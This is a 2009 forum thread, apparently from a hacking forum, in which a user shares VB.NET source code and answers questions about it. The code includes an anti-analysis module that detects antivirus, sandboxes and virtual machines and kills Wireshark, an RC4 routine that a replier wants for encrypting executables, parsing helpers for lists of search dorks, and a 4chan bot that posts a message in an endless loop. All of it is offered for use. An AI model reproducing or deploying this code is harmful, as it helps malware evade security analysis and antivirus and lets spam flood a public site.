[VB.NET] Multiple Vb.net Sources (All full of win) - Deathader - Jul 21, 2009
Yeah, this is my first post. Nice little board you have here :)
Here are some sources from some of my programs. I'll post more later.
Anti Module (Anti Kaspersky, Anubis, Sandboxie, Virtual Box, VMWare, Virtual PC, and WireShark)
Code Imports Microsoft.Win32
Module Antis
Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
Dim regPID As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
Dim pid As Object = regPID.GetValue("ProductId")
Dim id As String = "76487-337-8429955-22614"
Public Function antiKAV() As Boolean
On Error GoTo error1
If Process.GetProcessesByName("avp").Length >= 1 Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function
Private Sub AntiWireShark()
Dim ProcessList As System.Diagnostics.Process()
ProcessList = System.Diagnostics.Process.GetProcesses()
Dim Proc As System.Diagnostics.Process
Dim title As String
For Each Proc In ProcessList
title = Proc.MainWindowTitle
If (String.Equals(title, "The Wireshark Network Analyzer")) Then
Proc.Kill()
End If
Next
End Sub
Public Function antiSandboxie() As Boolean
On Error GoTo error1
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function
Public Function antiAnubis() As Boolean
On Error GoTo error1
Dim folder As String = Application.StartupPath
Dim getFile As String = folder & "\sample.exe"
If Application.ExecutablePath = getFile Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function
Public Function antiAnubis2() As Boolean
On Error GoTo error1
If pid = id Then
Return True
Else
Return False
End If
Exit Function
error1:
End
End Function
Public Function AntiVirtualBox() As Boolean
On Error GoTo error1
Call getDevices()
Select Case Grafikadapter
Case "VirtualBox Graphics Adapter"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function
Public Function AntiVmWare() As Boolean
On Error GoTo error1
Call getDevices()
Select Case Grafikadapter
Case "VMware SVGA II"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function
Public Function AntiVirtualPC() As Boolean
On Error GoTo error1
Call getDevices()
Select Case Grafikadapter
Case "VM Additions S3 Trio32/64"
Return True
Case Else
Return False
End Select
Exit Function
error1:
End
End Function
Private Sub getDevices()
On Error GoTo error1
Devices = GetObject("winmgmts:").ExecQuery(RegionA)
For Each AdaptList In Devices
Grafikadapter = AdaptList.Description
Next
Exit Sub
error1:
End
End Sub
End Module
RC4 Encryption:
Code Public Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
GetBetweenAll (Used for parsing lists.. dorks as an example :))
Code Public Function GBA(ByRef strSource As String, ByRef strStart As String, ByRef strEnd As String, _
ByVal lstAdd As ListBox, Optional ByRef startPos As Integer = 0) As String
Dim iPos As Integer, iEnd As Integer, strResult As String, lenStart As Integer = strStart.Length
Do Until iPos = -1
strResult = String.Empty
iPos = strSource.IndexOf(strStart, startPos)
iEnd = strSource.IndexOf(strEnd, iPos + lenStart)
If iPos <> -1 AndAlso iEnd <> -1 Then
strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))
lstAdd.Items.Add(strResult)
startPos = iPos + lenStart
End If
Loop
GBA = ""
End Function
4Chan Spammer:
Code Imports System.Net
Imports System.Text
Imports System.Threading
Module _4chan
Public Function RandomNumber(ByVal MaxNumber As Integer, _
Optional ByVal MinNumber As Integer = 0) As Integer
'initialize random number generator
Dim r As New Random(System.DateTime.Now.Millisecond)
'if passed incorrect arguments, swap them
'can also throw exception or return 0
If MinNumber > MaxNumber Then
Dim t As Integer = MinNumber
MinNumber = MaxNumber
MaxNumber = t
End If
Return r.Next(MinNumber, MaxNumber)
End Function
Dim q As String = Chr(34)
Private Sub chanspam(ByVal msg As String)
Do Until 1 = 2
post(msg)
Threading.Thread.sleep(10000)
Loop
End Sub
Public Sub postforever(ByVal msg As String)
Dim threadx As Thread = New Threading.Thread(New ParameterizedThreadStart(AddressOf chanspam))
threadx.Start(msg)
End Sub
Public Function post(ByVal txtmsg As String) As String
retry:
Dim web As New WebClient()
Dim templist As New ListBox
Dim postid As String
Dim strHTML As String = web.DownloadString("http://img.4chan.org/b/imgboard.html")
'search1 = [<a href="
'search2 = ">
GBA(strHTML, " [<a href=" & q, q & ">", templist)
If templist.Items.Count = 0 Then
GoTo retry
End If
retry2:
Dim randomline As Integer = RandomNumber(1, templist.Items.Count.ToString)
' strHTML = web.DownloadString("http://www.img.4chan.org/b/" & templist.Items.Item(randomline).ToString)
postid = GetBetween(templist.Items.Item(randomline).ToString, "res/", ".", 0)
web.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
Dim _
d As Byte() = _
Encoding.ASCII.GetBytes("com=" & txtmsg & "&resto=" & postid & "&mode=regist&MAX_FILE_SIZE=2097152&sub=&pwd=Mfu81wdN&uppfile=&filename=")
Dim res As Byte() = web.UploadData("http://dat.4chan.org/b/imgboard.php", "POST", d)
strHTML = (Encoding.ASCII.GetString(res))
Return postid
End Function
End Module
GetBetween (Used for parsing)
Code Public Function GetBetween(ByRef strSource As String, ByRef strStart As String, ByRef strEnd As String, _
Optional ByRef startPos As Integer = 0) As String
Dim iPos As Integer, iEnd As Integer, lenStart As Integer = strStart.Length
Dim strResult As String
strResult = String.Empty
iPos = strSource.IndexOf(strStart, startPos)
iEnd = strSource.IndexOf(strEnd, iPos + lenStart)
If iPos <> -1 AndAlso iEnd <> -1 Then
strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))
End If
Return strResult
End Function
That's it for now. I'll post some later. And if anyone needs something, PM me ;)
- Vaqxine - Jul 21, 2009
Yay, more antis!
Thanks for sharing :D keep it up :3
Hm, is there any way to configure that RC4 code to encrypt executables?
Or do you read the bytes, encrypt them and then re-compile? It's confusing me :3
- Deathader - Jul 21, 2009
(Jul 21, 2009 04:40 PM)Vaqxine Wrote: Yay, more antis!
Thanks for sharing :D keep it up :3
Hm, is there any way to configure that RC4 code to encrypt executables?
Or do you read the bytes, encrypt them and then re-compile? It's confusing me :3
Is there a builder example on the board?
If not, I'll throw one together and post it, including how to use the rc4 encryption ;)
- Soul Collector - Jul 21, 2009
this is nice man :) thnx
- Xx1232shooterxX - Jul 21, 2009
I just realized how noob I was. I don't know what any of these do. But thanks for the share.
- codeak - Jul 21, 2009
(Jul 21, 2009 04:48 PM)Deathader Wrote: Is there a builder example on the board?
If not, I'll throw one together and post it, including how to use the rc4 encryption ;) Here is a builder example:
https://hackforums.net/showthread.php?tid=97879
I'd like to know how as well.
- codeak - Jul 21, 2009
How would you go about setting up the 4chan source?
- Deathader - Jul 22, 2009
(Jul 21, 2009 10:39 PM)codeak Wrote: How would you go about setting up the 4chan source?
Simple. The source does EVERYTHING for you.
Just call
Code PostForever("Your Message")
It will post your message over and over again. You can use the sub if you just want to post one though ;)
- codeak - Jul 22, 2009
Why aren't GBA and GetBetween declared?
- Deathader - Jul 22, 2009
(Jul 22, 2009 09:56 AM)codeak Wrote: Why aren't GBA and GetBetween declared?
What do you mean... Are they set to public?
- codeak - Jul 22, 2009
Yes, whats telling them what they are though? Do I have to download a new reference maybe?
- Deathader - Jul 22, 2009
(Jul 22, 2009 10:28 AM)codeak Wrote: Yes, whats telling them what they are though? Do I have to download a new reference maybe?
Uhh.. Just paste the code into your project >___>
- NICEWEBSITE - Jul 22, 2009
Deathader
Thanx for Sources ✌✌✌
I hope that you can make more vb.net tutorials.
- enacje - Jul 30, 2009
Is it me or does the anti module nothing apart from closing wireshark. I assume there is something missing where all these returns go to? ;)
- Cara - Jul 30, 2009
Yes at least the anti or detecting functions are more useful's then vaqxine's.
I might use these, but seeing how it's just for detection... and not actually anti I'm not sure how to do work arounds vmware/vmbox/etc
|